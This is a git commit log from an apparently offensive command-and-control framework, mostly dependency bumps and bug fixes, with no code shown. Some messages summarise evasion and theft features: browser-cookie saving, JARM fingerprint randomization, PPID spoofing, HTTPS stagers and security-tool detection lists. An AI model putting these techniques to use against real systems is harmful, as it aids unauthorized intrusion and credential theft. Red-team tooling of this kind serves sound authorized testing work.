Compare commits

...
Author SHA1 Message Date
moloch-- e27e030431 Only add cache header to responses that need it 2022-09-29 09:01:01 -07:00
Ronan Kervella 4738bf229c Merge pull request #922 from jamesgol/dns-beacon
Ensure beacon tries to connect the same as session
2022-09-28 16:45:14 -07:00
Joe c0a5a06efc Merge pull request #921 from pb376/fix-mtls-conn-close
Avoid closing nil tls connection #919
2022-09-28 17:53:24 -05:00
James Golovich 97ff802a40 Ensure beacon tries to connect the same as session 2022-09-28 15:41:20 -07:00
pb376 106c7f0427 Avoid closing nil tls connection #919 2022-09-28 15:12:40 -05:00
Joe 37a46a21e0 Merge pull request #918 from BishopFox/fix/stager-https
Add support for HTTPS stagers
2022-09-28 11:23:46 -05:00
Joe 060d1c40fd Merge pull request #723 from BishopFox/feature/ssh-kerberos
Add kerberos support for SSH client
2022-09-28 11:23:26 -05:00
rkervella 3320f3958b Update implant vendor 2022-09-28 07:39:37 -07:00
rkervella 643a9ca3fe Update implant vendor 2022-09-28 07:38:59 -07:00
rkervella 52c2e1b0cf Merge branch 'master' into feature/ssh-kerberos 2022-09-28 07:38:20 -07:00
rkervella 2fe9b56dc5 Add support for HTTPS stagers 2022-09-28 07:36:27 -07:00
Ronan Kervella 35907fa929 Merge pull request #916 from BishopFox/go/v1.19
Go/v1.19
2022-09-26 20:04:50 -07:00
moloch-- 608de5213a Update wg GOGARBLE mask 2022-09-26 18:40:29 -07:00
moloch-- b4b9d8d413 Update wg GOGARBLE mask 2022-09-26 18:31:46 -07:00
moloch-- 9dfde9d5c9 Update implant vendor/ 2022-09-26 18:00:10 -07:00
moloch-- f6d6e9e55e Unit tests pass 2022-09-26 17:50:00 -07:00
moloch-- 0fd10d0c59 go mod tidy/vendor 2022-09-26 16:25:27 -07:00
moloch-- 35a7562980 Merge master 2022-09-26 16:24:34 -07:00
Joe 212f70d755 Merge pull request #911 from BishopFox/a13cdependabot/go_modules/github.com/onsi/gomega-1.20.2
Bump github.com/onsi/gomega from 1.10.0 to 1.20.2
2022-09-26 12:56:39 -05:00
dependabot[bot] 5a2f4f4553 Bump github.com/onsi/gomega from 1.10.0 to 1.20.2
Bumps [github.com/onsi/gomega](https://github.com/onsi/gomega) from 1.10.0 to 1.20.2.
- [Release notes](https://github.com/onsi/gomega/releases)
- [Changelog](https://github.com/onsi/gomega/blob/master/CHANGELOG.md)
- [Commits](https://github.com/onsi/gomega/compare/v1.10.0...v1.20.2)

---
updated-dependencies:
- dependency-name: github.com/onsi/gomega
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-26 15:24:55 +00:00
Joe cece2f2e01 Merge pull request #912 from BishopFox/d214dependabot/go_modules/github.com/onsi/ginkgo-1.16.5
Bump github.com/onsi/ginkgo from 1.12.1 to 1.16.5
2022-09-26 10:22:36 -05:00
Joe f219d03453 Merge pull request #913 from BishopFox/72addependabot/go_modules/gorm.io/driver/postgres-1.3.10
Bump gorm.io/driver/postgres from 1.3.9 to 1.3.10
2022-09-26 10:20:38 -05:00
Joe 22e67f8390 Merge pull request #910 from BishopFox/86bedependabot/go_modules/google.golang.org/protobuf-1.28.1
Bump google.golang.org/protobuf from 1.27.1 to 1.28.1
2022-09-26 10:20:18 -05:00
Joe 42299991db Merge pull request #909 from BishopFox/cursed
Cursed
2022-09-26 10:07:04 -05:00
dependabot[bot] c1995c6081 Bump gorm.io/driver/postgres from 1.3.9 to 1.3.10
Bumps [gorm.io/driver/postgres](https://github.com/go-gorm/postgres) from 1.3.9 to 1.3.10.
- [Release notes](https://github.com/go-gorm/postgres/releases)
- [Commits](https://github.com/go-gorm/postgres/compare/v1.3.9...v1.3.10)

---
updated-dependencies:
- dependency-name: gorm.io/driver/postgres
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-26 03:46:24 +00:00
dependabot[bot] 352df3c52b Bump github.com/onsi/ginkgo from 1.12.1 to 1.16.5
Bumps [github.com/onsi/ginkgo](https://github.com/onsi/ginkgo) from 1.12.1 to 1.16.5.
- [Release notes](https://github.com/onsi/ginkgo/releases)
- [Changelog](https://github.com/onsi/ginkgo/blob/master/CHANGELOG.md)
- [Commits](https://github.com/onsi/ginkgo/compare/v1.12.1...v1.16.5)

---
updated-dependencies:
- dependency-name: github.com/onsi/ginkgo
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-26 03:46:18 +00:00
dependabot[bot] 0daff15f72 Bump google.golang.org/protobuf from 1.27.1 to 1.28.1
Bumps [google.golang.org/protobuf](https://github.com/protocolbuffers/protobuf-go) from 1.27.1 to 1.28.1.
- [Release notes](https://github.com/protocolbuffers/protobuf-go/releases)
- [Changelog](https://github.com/protocolbuffers/protobuf-go/blob/master/release.bash)
- [Commits](https://github.com/protocolbuffers/protobuf-go/compare/v1.27.1...v1.28.1)

---
updated-dependencies:
- dependency-name: google.golang.org/protobuf
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-26 03:24:06 +00:00
moloch-- 46e58403dc add :file option to cursed console 2022-09-25 20:07:32 -07:00
moloch-- 70ba98aef4 hook console.log by default 2022-09-25 19:35:52 -07:00
Joe bc035d4003 Merge pull request #908 from jamesgol/wg_keyevent
Add new event WireGuardNewPeer to get peer configured immediately
2022-09-25 20:41:42 -05:00
moloch-- 31aaeeeab1 Save cookies to file 2022-09-25 18:22:29 -07:00
moloch-- d0826e63bc Added cursed cookies cmd 2022-09-25 17:51:07 -07:00
Joe ec8e26d2da Merge pull request #907 from jamesgol/beacon-host
Register new hosts when beacons are received and not just sessions
2022-09-25 17:36:59 -05:00
moloch-- 78213312c6 Merge branch 'master' into cursed 2022-09-25 11:07:15 -07:00
James Golovich c280489f49 Add \n to string
Worked without but looks more complete with it there
2022-09-23 21:02:12 -07:00
James Golovich 49faa6e6e4 Add new event WireGuardNewPeer to get peer configured immediately
Eliminates the 5 second delay on Wireguard connections
2022-09-23 20:57:22 -07:00
James Golovich 79b60eb321 Register new hosts when beacons are received and not just sessions 2022-09-23 16:27:06 -07:00
Joe 160486c55f Merge pull request #905 from jamesgol/limit-locale
Add ability to limit implant based on locale
2022-09-23 12:24:04 -05:00
Joe 556ebd86a6 Merge pull request #903 from jamesgol/reconfig-update
Make reconfig command to save to DB
2022-09-23 11:40:58 -05:00
Joe b86383a83d Merge pull request #904 from jamesgol/rportfwd-fix
Stop segfaults with rportfwd
2022-09-23 11:40:45 -05:00
James Golovich 7aa03f6845 Update compiled client.pb.go 2022-09-22 17:07:06 -07:00
James Golovich 3f6c38f3c7 Add LimitLocale to client.proto 2022-09-22 17:06:52 -07:00
James Golovich 86ec7248b6 Add ability to limit implant based on locale with regexp
Examples:
an exact match: en-US
substring: en
one of multiple: en-US|en-AU|en-UK
2022-09-22 17:04:07 -07:00
Joe aac39d72b6 Merge pull request #900 from jamesgol/info-fix
Allow info command to work with active sessions again
2022-09-22 16:31:13 -05:00
James Golovich f08b8e4dfe Stop segfault on server if tunnel cannot connect 2022-09-22 11:55:46 -07:00
James Golovich 4acbb6a5bb Stop segfault on implant if remote port is unavailable
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x9eaee9]

goroutine 26 [running]:
github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).HandleConn.func1({0xb42100, 0xc00007b2c0})
	/home/james/.sliver/slivers/linux/amd64/SENSITIVE_CRASH/src/github.com/bishopfox/sliver/implant/sliver/rportfwd/portfwd.go:168 +0x1c9
github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).HandleConn.func2()
	/home/james/.sliver/slivers/linux/amd64/SENSITIVE_CRASH/src/github.com/bishopfox/sliver/implant/sliver/rportfwd/portfwd.go:189 +0x2bd
created by github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).HandleConn
	/home/james/.sliver/slivers/linux/amd64/SENSITIVE_CRASH/src/github.com/bishopfox/sliver/implant/sliver/rportfwd/portfwd.go:173 +0x54c
2022-09-22 11:42:26 -07:00
James Golovich 1caf9d2a1f Remove -n from reconfig command, that is handled by rename 2022-09-22 11:07:15 -07:00
James Golovich c69f68c24c Save reconfig data to DB 2022-09-22 11:07:15 -07:00
Joe df668bba84 Merge pull request #901 from BishopFox/aa1ddependabot/bundler/docs/commonmarker-0.23.6
Bump commonmarker from 0.23.4 to 0.23.6 in /docs
2022-09-22 11:00:17 -05:00
dependabot[bot] 1b0c52488b Bump commonmarker from 0.23.4 to 0.23.6 in /docs
Bumps [commonmarker](https://github.com/gjtorikian/commonmarker) from 0.23.4 to 0.23.6.
- [Release notes](https://github.com/gjtorikian/commonmarker/releases)
- [Changelog](https://github.com/gjtorikian/commonmarker/blob/main/CHANGELOG.md)
- [Commits](https://github.com/gjtorikian/commonmarker/compare/v0.23.4...v0.23.6)

---
updated-dependencies:
- dependency-name: commonmarker
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-22 02:09:09 +00:00
James Golovich 3cb1fe6473 Allow info command to work with active sessions again 2022-09-21 16:32:59 -07:00
Joe 73b6e5311f Merge pull request #898 from BishopFox/fix/rc4
Tweak ciphers, fix issue #896
2022-09-21 15:13:54 -05:00
Joe ef17dcca05 Merge pull request #895 from jamesgol/client-info
Add details to client info
2022-09-21 15:12:51 -05:00
moloch-- 0f53c7ca11 Tweak ciphers, fix issue #896 2022-09-21 09:13:40 -07:00
James Golovich 0b2e1c94e5 Add Last Checkin to info command 2022-09-20 22:13:11 -07:00
James Golovich a6791cc14e Update compiled protobufs 2022-09-20 21:56:01 -07:00
James Golovich 3cd1222552 Add FirstContact to ProtoBufs 2022-09-20 21:54:51 -07:00
James Golovich 2dc6c74c89 Add FirstContact to hosts/beacons/sessions info 2022-09-20 21:53:49 -07:00
James Golovich 905234714c Use 'use' Completor for 'info' command 2022-09-20 21:43:17 -07:00
James Golovich 3b39100b06 Add new SliverConsoleClient function FormateDateDelta
Refactored code from client/commands/beacons/beacons.go so it can be used elsewhere.
2022-09-20 18:26:49 -07:00
Joe 11949202b5 Merge pull request #893 from jamesgol/wireshark-sessions
Save implant Wireguard session keys
2022-09-20 19:29:40 -05:00
James Golovich d41833c490 Allow Wireguard implant to retrieve new keys after 3 connect failures 2022-09-20 12:23:39 -07:00
Joe 6c21d34963 Merge pull request #890 from BishopFox/fix/help
Fix help
2022-09-20 09:27:31 -05:00
Joe f68da6cf5c Merge pull request #891 from BishopFox/jarmy
Optionally randomize server JARM fingerprint
2022-09-20 09:27:11 -05:00
moloch-- 6b876d5b0b Fix typo 2022-09-19 23:00:48 -07:00
James Golovich a6d4e4fec2 Save implant Wireguard session keys
If the Wireguard implant is setup as a beacon it will connect using the implant private key at every beacon interval
and request a new key.  It's like in The Highlander, there can be only one... session for each private key.  If someone
had a large number of wg beacons connecting there's potential for multiples to be trying at one time.
2022-09-19 22:05:43 -07:00
moloch-- b6a49923d0 Remove rc4 ciphers, bump min n 2022-09-19 20:04:56 -07:00
moloch-- 9a450d9b5f Fix max n for min tls 2022-09-19 19:56:57 -07:00
moloch-- a0c0657bf3 Add comments 2022-09-19 19:45:05 -07:00
moloch-- d37de4f340 always select at least 4 ciphers 2022-09-19 19:37:18 -07:00
moloch-- 15b7059a87 always select at least 4 ciphers 2022-09-19 19:36:52 -07:00
moloch-- 620bdd71c5 Always use min tls 1.2 or lower to ensure compatibility 2022-09-19 19:35:47 -07:00
Joe 9c109bd236 Merge branch 'master' into jarmy
Signed-off-by: Joe <[email protected]>
2022-09-19 21:31:45 -05:00
moloch-- afd0b08c2f Optionally randomize server JARM fingerprint 2022-09-19 19:28:33 -07:00
moloch-- 8c144e3f66 Fix help 2022-09-19 18:23:52 -07:00
Ronan Kervella e5ca995419 Merge pull request #872 from jamesgol/tls-key-logger
Add option to log TLS info so packets can be decoded with wireshark
2022-09-19 13:03:11 -07:00
Ronan Kervella 5a1f192258 Merge pull request #889 from BishopFox/feature/msf-stagers
Reworked staging
2022-09-19 13:02:35 -07:00
rkervella 94a55f0150 Remove comments 2022-09-19 11:44:30 -07:00
rkervella 653f3c7e7c Reworked staging 2022-09-19 11:39:52 -07:00
Joe d9f4536e3f Merge pull request #888 from BishopFox/0777dependabot/go_modules/github.com/grpc-ecosystem/go-grpc-middleware-1.3.0
Bump github.com/grpc-ecosystem/go-grpc-middleware from 1.2.2 to 1.3.0
2022-09-19 12:50:57 -05:00
Joe dd05d24fb1 Merge pull request #886 from BishopFox/6ae4dependabot/go_modules/github.com/shirou/gopsutil/v3-3.22.8
Bump github.com/shirou/gopsutil/v3 from 3.21.10 to 3.22.8
2022-09-19 12:50:13 -05:00
dependabot[bot] c3df9ac47e Bump github.com/shirou/gopsutil/v3 from 3.21.10 to 3.22.8
Bumps [github.com/shirou/gopsutil/v3](https://github.com/shirou/gopsutil) from 3.21.10 to 3.22.8.
- [Release notes](https://github.com/shirou/gopsutil/releases)
- [Commits](https://github.com/shirou/gopsutil/compare/v3.21.10...v3.22.8)

---
updated-dependencies:
- dependency-name: github.com/shirou/gopsutil/v3
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-19 15:55:34 +00:00
dependabot[bot] d011b57e31 Bump github.com/grpc-ecosystem/go-grpc-middleware from 1.2.2 to 1.3.0
Bumps [github.com/grpc-ecosystem/go-grpc-middleware](https://github.com/grpc-ecosystem/go-grpc-middleware) from 1.2.2 to 1.3.0.
- [Release notes](https://github.com/grpc-ecosystem/go-grpc-middleware/releases)
- [Changelog](https://github.com/grpc-ecosystem/go-grpc-middleware/blob/master/CHANGELOG.md)
- [Commits](https://github.com/grpc-ecosystem/go-grpc-middleware/compare/v1.2.2...v1.3.0)

---
updated-dependencies:
- dependency-name: github.com/grpc-ecosystem/go-grpc-middleware
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-19 15:55:05 +00:00
Joe 8db2be4e9f Merge pull request #887 from BishopFox/120edependabot/go_modules/gorm.io/gorm-1.23.9
Bump gorm.io/gorm from 1.23.8 to 1.23.9
2022-09-19 10:54:00 -05:00
Joe 1b8411d097 Merge pull request #885 from BishopFox/c6addependabot/go_modules/github.com/jedib0t/go-pretty/v6-6.3.8
Bump github.com/jedib0t/go-pretty/v6 from 6.2.4 to 6.3.8
2022-09-19 10:53:27 -05:00
Ronan Kervella 67094dec1c Merge pull request #884 from BishopFox/external-builder
External builder
2022-09-19 08:33:46 -07:00
Ronan Kervella 265a1fa33e Merge pull request #869 from BishopFox/obfs
Tweaks to Implant
2022-09-19 08:32:58 -07:00
James Golovich 85e6121685 Print console message when TLS key logging enabled 2022-09-18 22:20:55 -07:00
dependabot[bot] 071a0cb574 Bump gorm.io/gorm from 1.23.8 to 1.23.9
Bumps [gorm.io/gorm](https://github.com/go-gorm/gorm) from 1.23.8 to 1.23.9.
- [Release notes](https://github.com/go-gorm/gorm/releases)
- [Commits](https://github.com/go-gorm/gorm/compare/v1.23.8...v1.23.9)

---
updated-dependencies:
- dependency-name: gorm.io/gorm
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-19 03:58:38 +00:00
dependabot[bot] d469d33e7f Bump github.com/jedib0t/go-pretty/v6 from 6.2.4 to 6.3.8
Bumps [github.com/jedib0t/go-pretty/v6](https://github.com/jedib0t/go-pretty) from 6.2.4 to 6.3.8.
- [Release notes](https://github.com/jedib0t/go-pretty/releases)
- [Commits](https://github.com/jedib0t/go-pretty/compare/v6.2.4...v6.3.8)

---
updated-dependencies:
- dependency-name: github.com/jedib0t/go-pretty/v6
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-19 03:35:21 +00:00
moloch-- b013d555a4 Add events api 2022-09-18 18:56:11 -07:00
moloch-- bdf0c7b3f6 Improved comments 2022-09-18 18:30:04 -07:00
moloch-- f042dee7e9 Improved err handling 2022-09-18 18:28:10 -07:00
moloch-- e0b756a5b6 Implement the rest of the external build api 2022-09-18 18:22:24 -07:00
moloch-- f12a60541f Outline external build api 2022-09-18 13:24:01 -07:00
Joe 3c90e4b7e0 Merge pull request #883 from MrAle98/feature/manage-rportfwd
Add reverse port forwardings management
2022-09-18 11:15:47 -05:00
MrAle98 c894e623ca start/stop commands renamed to add/rm 2022-09-17 19:45:39 +02:00
MrAle98 03a6f5f0b6 minor fix 2022-09-17 15:16:19 +02:00
MrAle98 7b3739b87c rportfwd error handling 2022-09-17 14:45:21 +02:00
MrAle98 8a5855fa53 fix rportfwd handlers map 2022-09-17 12:21:29 +02:00
MrAle98 fa11691efb client minor fix 2022-09-17 12:14:36 +02:00
MrAle98 5628197789 renamed add/rm operations to start/stop. stop returns more information 2022-09-17 12:09:18 +02:00
Joe dfba1eeb65 Merge pull request #881 from jamesgol/http-time-warp
Track HTTP time difference in case the implant clock is wrong
2022-09-16 20:44:43 -05:00
Joe 181163d65b Merge pull request #877 from BishopFox/feature/rportfwd
Feature/rportfwd
2022-09-16 20:01:50 -05:00
James Golovich f8db5d4607 Track HTTP time difference in case the implant clock is wrong 2022-09-16 16:12:48 -07:00
Chris Smith e1516ff6c0 Update sessions.go
Signed-off-by: Chris Smith <[email protected]>
2022-09-16 12:43:12 -07:00
Chris Smith 82e58c74f7 Update sessions.go
Signed-off-by: Chris Smith <[email protected]>
2022-09-16 12:42:22 -07:00
Joe 91a3b36ab4 Merge pull request #878 from jamesgol/wg_persist
Ensure Wireguard keyPort persists
2022-09-16 12:33:07 -05:00
moloch-- 62748edc97 Align rportfwd and portfwd bind parsing 2022-09-15 15:44:20 -07:00
moloch-- 5baf9d3b3b Improved rportfwd ux 2022-09-15 15:40:17 -07:00
James Golovich 5332d0c76f Ensure Wireguard keyPort persists 2022-09-15 15:21:33 -07:00
moloch-- 7a9f216d9c Only include log code when debug mode is enabled 2022-09-15 14:00:36 -07:00
moloch-- 754b9f6af6 Merge master 2022-09-15 13:13:38 -07:00
moloch-- 0c601bdc4b Tweak rportfwd implementation 2022-09-15 13:09:50 -07:00
Joe 3a06595517 Merge pull request #856 from jamesgol/implant-locale
Add locale to beacons/sessions on implants
2022-09-15 11:11:25 -05:00
Joe a91b5a8721 Merge pull request #874 from jamesgol/wg-debug
Change log entries to Debug for WireGuard config
2022-09-15 11:06:37 -05:00
Joe c1ac4ddfea Merge pull request #875 from jamesgol/fix-wg-beacon-win
Sleep before shutting down beacon instead of after
2022-09-15 11:06:21 -05:00
MrAle98 b03657462b minor fix 2022-09-15 16:46:36 +02:00
MrAle98 8bc85b25aa added reverse port forwarding 2022-09-15 11:02:34 +02:00
James Golovich 18f8a8c23f Delay closing to all coroutines to complete
Wireguard beacons could connect, but results of commands weren't making it back.

This is a bit hacky.  It works, but it would be better if there was a way to wait till everything has been transmitted.
2022-09-14 21:44:57 -07:00
James Golovich 4748f61480 Sleep before shutting down beacon instead of after
When using a windows implant + wireguard it looks like the beacon registration message is never recieved by the server because the session is closed too quickly.

Fixes #670
2022-09-14 18:54:08 -07:00
James Golovich f7a4aacf5f Change log entries to Debug
With a lot of WireGuard beacons coming in these logs get excessive
2022-09-14 16:26:29 -07:00
James Golovich 68d624fe17 Add option for TLS key logging to implant when in debug mode 2022-09-14 14:29:20 -07:00
James Golovich acc4e39cbb Switch to using SSLKEYLOGFILE env var instead of config var 2022-09-14 14:04:49 -07:00
James Golovich a2673f74c9 Add option to log TLS info so packets can be decoded with wireshark 2022-09-14 12:59:35 -07:00
James Golovich da45b2da82 Remove processor constraints for build 2022-09-14 09:00:25 -07:00
moloch-- f6281bdcd7 Added keep-alive, headless, and additional args 2022-09-14 08:59:33 -06:00
James Golovich 097866d0a2 Include github.com/cubiest/jibberjabber files 2022-09-13 16:34:27 -07:00
James Golovich 11959d5911 Separate generic and os specific locale functions 2022-09-13 16:33:27 -07:00
Joe 70b06673fd Merge pull request #867 from jamesgol/implant-vendor-script
Trap failed build when running 'go generate' on the implant
2022-09-13 11:07:20 -05:00
Joe 84a95aea2a Merge pull request #866 from jamesgol/debug-no-canaries
Stop excessive build logging if there are no canaries
2022-09-13 11:07:08 -05:00
moloch-- ba3ec022bb Add lic 2022-09-13 08:31:11 -06:00
moloch-- 394ba431b2 Add lic 2022-09-13 08:28:52 -06:00
moloch-- cda6aeaee6 Remove un-needed pointers 2022-09-13 08:25:37 -06:00
James Golovich 100b26afd0 Trap failed build when running 'go generate' on the implant
I had an error that caused the build to fail which left the environment without a vendor directory
2022-09-12 21:31:25 -07:00
moloch-- 187f9e99ac Refactor c2 url handling 2022-09-12 20:40:39 -06:00
James Golovich 4917c313b6 Stop excessive build logging if there are no canaries 2022-09-12 19:36:50 -07:00
Joe 1f6abf9be3 Merge pull request #863 from BishopFox/a7aadependabot/go_modules/github.com/sirupsen/logrus-1.9.0
Bump github.com/sirupsen/logrus from 1.8.1 to 1.9.0
2022-09-12 14:54:13 -05:00
Joe 25a22054b7 Merge branch 'master' into a7aadependabot/go_modules/github.com/sirupsen/logrus-1.9.0
Signed-off-by: Joe <[email protected]>
2022-09-12 11:02:42 -05:00
Joe 64c5460545 Merge pull request #862 from BishopFox/c6cfdependabot/go_modules/github.com/AlecAivazis/survey/v2-2.3.6
Bump github.com/AlecAivazis/survey/v2 from 2.2.2 to 2.3.6
2022-09-12 11:01:44 -05:00
dependabot[bot] 76fb9dfc93 Bump github.com/AlecAivazis/survey/v2 from 2.2.2 to 2.3.6
Bumps [github.com/AlecAivazis/survey/v2](https://github.com/AlecAivazis/survey) from 2.2.2 to 2.3.6.
- [Release notes](https://github.com/AlecAivazis/survey/releases)
- [Commits](https://github.com/AlecAivazis/survey/compare/v2.2.2...v2.3.6)

---
updated-dependencies:
- dependency-name: github.com/AlecAivazis/survey/v2
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 15:16:37 +00:00
Joe ccd3ed2250 Merge pull request #861 from BishopFox/2e20dependabot/go_modules/github.com/spf13/cobra-1.5.0
Bump github.com/spf13/cobra from 1.1.1 to 1.5.0
2022-09-12 10:14:30 -05:00
Joe fb5c6c0c88 Merge branch 'master' into a7aadependabot/go_modules/github.com/sirupsen/logrus-1.9.0
Signed-off-by: Joe <[email protected]>
2022-09-12 10:13:57 -05:00
Joe 11878069f6 Merge pull request #864 from BishopFox/2a7fdependabot/go_modules/github.com/cheggaaa/pb/v3-3.1.0
Bump github.com/cheggaaa/pb/v3 from 3.0.5 to 3.1.0
2022-09-12 10:12:50 -05:00
Joe 3db3930091 Merge pull request #865 from BishopFox/024fdependabot/go_modules/github.com/gofrs/uuid-4.3.0incompatible
Bump github.com/gofrs/uuid from 4.0.0+incompatible to 4.3.0+incompatible
2022-09-12 10:12:05 -05:00
dependabot[bot] 9e6412c911 Bump github.com/gofrs/uuid from 4.0.0+incompatible to 4.3.0+incompatible
Bumps [github.com/gofrs/uuid](https://github.com/gofrs/uuid) from 4.0.0+incompatible to 4.3.0+incompatible.
- [Release notes](https://github.com/gofrs/uuid/releases)
- [Commits](https://github.com/gofrs/uuid/compare/v4.0.0...v4.3.0)

---
updated-dependencies:
- dependency-name: github.com/gofrs/uuid
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:21:06 +00:00
dependabot[bot] ade96fa281 Bump github.com/cheggaaa/pb/v3 from 3.0.5 to 3.1.0
Bumps [github.com/cheggaaa/pb/v3](https://github.com/cheggaaa/pb) from 3.0.5 to 3.1.0.
- [Release notes](https://github.com/cheggaaa/pb/releases)
- [Commits](https://github.com/cheggaaa/pb/compare/v3.0.5...v3.1.0)

---
updated-dependencies:
- dependency-name: github.com/cheggaaa/pb/v3
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:21:00 +00:00
dependabot[bot] 3035d75882 Bump github.com/sirupsen/logrus from 1.8.1 to 1.9.0
Bumps [github.com/sirupsen/logrus](https://github.com/sirupsen/logrus) from 1.8.1 to 1.9.0.
- [Release notes](https://github.com/sirupsen/logrus/releases)
- [Changelog](https://github.com/sirupsen/logrus/blob/master/CHANGELOG.md)
- [Commits](https://github.com/sirupsen/logrus/compare/v1.8.1...v1.9.0)

---
updated-dependencies:
- dependency-name: github.com/sirupsen/logrus
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:20:53 +00:00
dependabot[bot] 4ed95375e0 Bump github.com/spf13/cobra from 1.1.1 to 1.5.0
Bumps [github.com/spf13/cobra](https://github.com/spf13/cobra) from 1.1.1 to 1.5.0.
- [Release notes](https://github.com/spf13/cobra/releases)
- [Commits](https://github.com/spf13/cobra/compare/v1.1.1...v1.5.0)

---
updated-dependencies:
- dependency-name: github.com/spf13/cobra
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2022-09-12 03:20:38 +00:00
Ronan Kervella 9ee10c5321 Merge pull request #860 from BishopFox/cleanup
Random cleanups and improvements
2022-09-09 14:41:54 -07:00
moloch-- 3cc7be8a9f Random cleanups and improvements 2022-09-09 11:02:04 -07:00
Joe d411d2400c Merge pull request #859 from BishopFox/fix/certs
Fix low entropy x509 subjects
2022-09-08 20:20:44 -05:00
moloch-- e31cafa81d Fix low entropy x509 subjects 2022-09-08 17:37:02 -07:00
Ronan Kervella 80677e652b Merge pull request #857 from cmprmsd/patch-1
Add sysmon + sysmon64
2022-09-08 07:32:01 -07:00
cmprmsd 88abea26a7 Add sysmon + sysmon64
As Sysmon is more commonly used for logging I assume we should flag it also as known security tool.

Signed-off-by: cmprmsd <[email protected]>
2022-09-08 10:46:53 +02:00
James Golovich 18871a8521 Add generated protobuf code 2022-09-07 23:45:53 -07:00
James Golovich ca3377799b Add Locale to protobuf definitions 2022-09-07 23:45:09 -07:00
James Golovich be477918d2 Add locale to implants Sessions and Beacons 2022-09-07 23:44:18 -07:00
Joe 120d537044 Merge pull request #855 from faisalfs10x/faisalfs10x-patch-1
Add trend micro processes
2022-09-07 19:12:07 -05:00
Faisal Fs 59781d4328 Update ps.go
Signed-off-by: Faisal Fs <[email protected]>
2022-09-08 06:36:05 +08:00
Ronan Kervella f117995aa1 Merge pull request #854 from r00t0v3rr1d3/add-cylance-tanium-senone
Add additional known security tools
2022-09-07 15:16:39 -07:00
Faisal Fs e4793cf616 Add trend micro processes
Add known Trend Micro processes
reference: https://success.trendmicro.com/dcx/s/solution/1122160-monitoring-deep-security-services?language=en_US&sfdcIFrameOrigin=null

Signed-off-by: Faisal Fs <[email protected]>
2022-09-08 06:08:43 +08:00
Chris Shields b68f4bffd3 Add additional known security tools
Few more SentinelOne processes. Cylance and Tanium processes.
2022-09-07 17:00:33 -04:00
Joe 22fea029ec Merge pull request #853 from BishopFox/audit-log
Improvements to the audit log
2022-09-07 14:25:51 -05:00
rkervella 8ceaff528b Update garble 2022-09-07 11:04:36 -07:00
moloch-- b1db1ab614 improvements to the audit log 2022-09-07 10:20:10 -07:00
Joe 40b99e860f Merge pull request #851 from jamesgol/loot_file
Catch error on 'loot remote' if file doesn't exist
2022-09-07 10:06:40 -05:00
James Golovich 56d143b018 Catch error on 'loot remote' if file doesn't exist 2022-09-06 23:02:20 -07:00
Ronan Kervella 327f7c6826 Merge pull request #850 from jamesgol/websites-strip
Strip query parameters from URLs for incoming HTTP(s) websites
2022-09-06 17:26:04 -07:00
James Golovich eb9506510e Handle err condition 2022-09-06 16:19:03 -07:00
James Golovich 9c5aa26af9 Strip query parameters from URLs for incoming HTTP(s) websites 2022-09-06 16:05:26 -07:00
rkervella a5b4e5310f Update garble 2022-09-06 15:48:17 -07:00
Ronan Kervella f2b78748de Merge pull request #849 from BishopFox/update/gorm
Update/gorm
2022-09-06 13:35:18 -07:00
moloch-- 891bb49f1a Make TAGS overridable in Makefile 2022-09-06 12:39:12 -07:00
moloch-- 82d1728360 Updated gorm and db drivers 2022-09-06 12:36:02 -07:00
moloch-- 01b6a3c657 Updated gorm and db drivers 2022-09-06 12:35:49 -07:00
rkervella 3b3987d19f Update supported minor version 2022-09-06 12:23:26 -07:00
rkervella 6072affe38 Update to go1.19.1 2022-09-06 12:20:21 -07:00
rkervella 555e1d1123 Update Dockerfile and assets 2022-09-06 12:17:10 -07:00
rkervella e7524d28d0 Implant vendor 2022-09-06 12:09:48 -07:00
rkervella 68515f0873 Update vendor 2022-09-06 12:09:28 -07:00
rkervella 8b55dca890 go1.19 2022-09-06 12:09:19 -07:00
Ronan Kervella 312f133f1e Merge pull request #847 from BishopFox/go/v1.18.6
Go v1.18.6
2022-09-06 11:02:47 -07:00
Ronan Kervella a141e1f689 Merge pull request #848 from BishopFox/fix/execute-assembly-ppid
Fix `execute-assembly`, add PPID and arg spoofing to `sideload`
2022-09-06 11:02:36 -07:00
Joe a9a16aaa39 Merge pull request #842 from BishopFox/bf79dependabot/go_modules/github.com/alecthomas/chroma-0.10.0
Bump github.com/alecthomas/chroma from 0.8.1 to 0.10.0
2022-09-06 13:02:21 -05:00
Joe 2c944db7ed Merge pull request #841 from BishopFox/2447dependabot/github_actions/actions/download-artifact-3
Bump actions/download-artifact from 2 to 3
2022-09-06 13:01:50 -05:00
Joe b93f939ec5 Merge pull request #840 from BishopFox/ce34dependabot/github_actions/actions/upload-artifact-3
Bump actions/upload-artifact from 2 to 3
2022-09-06 13:01:34 -05:00
